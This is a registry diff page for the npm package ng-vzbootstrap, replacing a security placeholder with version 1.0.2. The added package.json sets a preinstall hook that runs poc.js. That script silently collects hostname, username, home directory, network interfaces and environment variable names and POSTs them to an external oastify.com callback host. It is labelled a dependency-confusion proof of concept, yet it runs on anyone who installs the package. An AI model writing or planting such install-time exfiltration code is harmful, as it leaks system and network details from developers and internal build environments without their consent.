ng-vzbootstrap 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ng-vzbootstrap might be problematic. Click here for more details.
- package/package.json +8 -3
- package/poc.js +62 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ng-vzbootstrap",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "DC PoC",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node poc.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Mark",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* PoC Script for Dependency Confusion Research
|
|
6
|
+
* This script is intended for authorized security testing only.
|
|
7
|
+
* It captures system metadata to prove execution in internal environments.
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
async function runPoc() {
|
|
11
|
+
// 1. Gather System Metadata
|
|
12
|
+
const sessionData = {
|
|
13
|
+
package: "ng-vzbootstrap", // Update this for each package
|
|
14
|
+
timestamp: new Date().toISOString(),
|
|
15
|
+
hostname: os.hostname(),
|
|
16
|
+
platform: os.platform(),
|
|
17
|
+
arch: os.arch(),
|
|
18
|
+
user: os.userInfo().username,
|
|
19
|
+
home_dir: os.userInfo().homedir,
|
|
20
|
+
cwd: process.cwd(),
|
|
21
|
+
// Captures internal IP addresses (10.x.x.x, 172.x.x.x, etc.)
|
|
22
|
+
internal_networks: os.networkInterfaces(),
|
|
23
|
+
// Captures environment variables that often contain project names or cloud metadata
|
|
24
|
+
// Be careful: this can be sensitive, but helpful for attribution.
|
|
25
|
+
env_keys: Object.keys(process.env).filter(key =>
|
|
26
|
+
key.includes('VZ') || key.includes('APP') || key.includes('CI')
|
|
27
|
+
)
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
const payload = JSON.stringify(sessionData);
|
|
31
|
+
|
|
32
|
+
// 2. Configure the callback (Burp Collaborator / Webhook.site)
|
|
33
|
+
// Replace with your current Collaborator payload host
|
|
34
|
+
const trackingHost = 'https://v40yzunhujopno5hgxra68giv910psdh.oastify.com';
|
|
35
|
+
|
|
36
|
+
const options = {
|
|
37
|
+
hostname: trackingHost,
|
|
38
|
+
port: 443,
|
|
39
|
+
path: '/',
|
|
40
|
+
method: 'POST',
|
|
41
|
+
headers: {
|
|
42
|
+
'Content-Type': 'application/json',
|
|
43
|
+
'Content-Length': payload.length,
|
|
44
|
+
'User-Agent': 'Security-PoC-Verification'
|
|
45
|
+
}
|
|
46
|
+
};
|
|
47
|
+
|
|
48
|
+
// 3. Execute the Request
|
|
49
|
+
const req = https.request(options, (res) => {
|
|
50
|
+
// Silent completion
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
req.on('error', (e) => {
|
|
54
|
+
// Fail silently to avoid alerting the system logs unnecessarily
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
req.write(payload);
|
|
58
|
+
req.end();
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Execute the PoC
|
|
62
|
+
runPoc();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ng-vzbootstrap for more information.
|